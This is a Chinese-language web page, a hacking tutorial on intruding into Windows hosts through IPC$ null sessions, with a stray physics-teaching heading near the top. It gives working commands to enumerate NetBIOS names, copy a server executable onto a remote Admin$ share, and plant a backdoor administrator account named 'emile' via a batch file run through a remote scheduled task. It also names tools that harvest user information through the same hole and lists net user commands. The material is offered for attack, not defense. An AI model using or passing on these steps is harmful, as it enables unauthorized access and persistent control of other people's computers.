入侵ping命令大全

高中物理教学艺术

查看指定IP主机上的共享

nbtstat -A *.*.*.*
得到远程主机的NetBIOS用户名列表

copy server1.exe \\*.*.*.*\Admin$\system32
即将当前目录下的Server1.exe复制到对方Admin$共享的System32目录内

建立IPC$连接
例子： net use \\192.168.1.60\ipc$ "" /user:"administrator"
查看帐号— net user
建立帐号— net user name passwd /add
删除帐号— net user name passwd /del

断开连接：
键入“net use * /del”命令断开所有的IPC$连接。键入“net use \\目标IP\IPC$ /del”可以删除指定目标IP的IPC$连接。

实例：建立后门帐号，步骤如下：
(1)编写BAT文件：
打开记事本，输入“net user emile 123456 /add”和“net localgroup administrators emile /add”，然后把文件另存为“hack.bat”,保存在cmd当前默认目录下。
(2)与目标主机建立IPC$连接，以192.168.1.60为例：
打开cmd窗口，分别执行命令：
net use \\192.168.1.60\ipc$ "" /user:"administrator"
net use z: \\192.168.1.60\C$
(3)拷贝bat文件到目标主机：
在cmd窗口输入copy hack.bat \\192.168.1.60\C$，把文件拷贝到目标位置；也可以打开映射驱动器用图形界面直接进行拷贝操作。
(4)通过计划任务使远程主机执行hack.bat文件：
首先键入“net time \\IP”查看远程主机的系统时间，再键入“at \\IP TIME COMMAND”命令在远程主机上建立计划任务。
参数说明：IP—目标主机IP；TIME—设定计划任务执行的时间；COMMAND—计划任务要执行的命令，如此处为C:\hack.bat。
计划任务添加完毕后，使用命令“net use * /del”断开IPC$连接。
(5)验证帐号是否成功建立：
等待一段时间，当估计远程主机已经执行hack.bat文件后，通过用新帐号建立IPC$连接来验证是否成功建立“emile”帐号，连接成功则说明帐号成功建立。

(3)获取目标主机上的用户信息：USERINFO.exe和X-Scan是常用的两款获取用户信息的工具。
a.USERINFO是利用IPC$漏洞来查看目标主机用户信息的工具，通过USERINFO来查看目标主机用户信息的时候，并不需要事先建立IPC$空连接。
命令：USERINFO \\IP USER 用来查看目标IP上USER用户信息，然后根据反馈的结果进行具体分析。
b.X-Scan扫描器也是利用目标主机存在的IPC$空连接漏洞，获取用户信息，用法略

net user 查看用户列表
net user 用户名 密码 /add 添加用户
net user 用户名 密码 更改用户密码
net localgroup administrators 用户名 /add 添加用户到管理组
net user 用户名 /delete 删除用户
net user 用户名 /delete 删除用户
net user 用户名 查看用户的基本情况
net user 用户名 /active:no 禁用该用户
net user 用户名 /active:yes 启用该用户

n

第1页下一页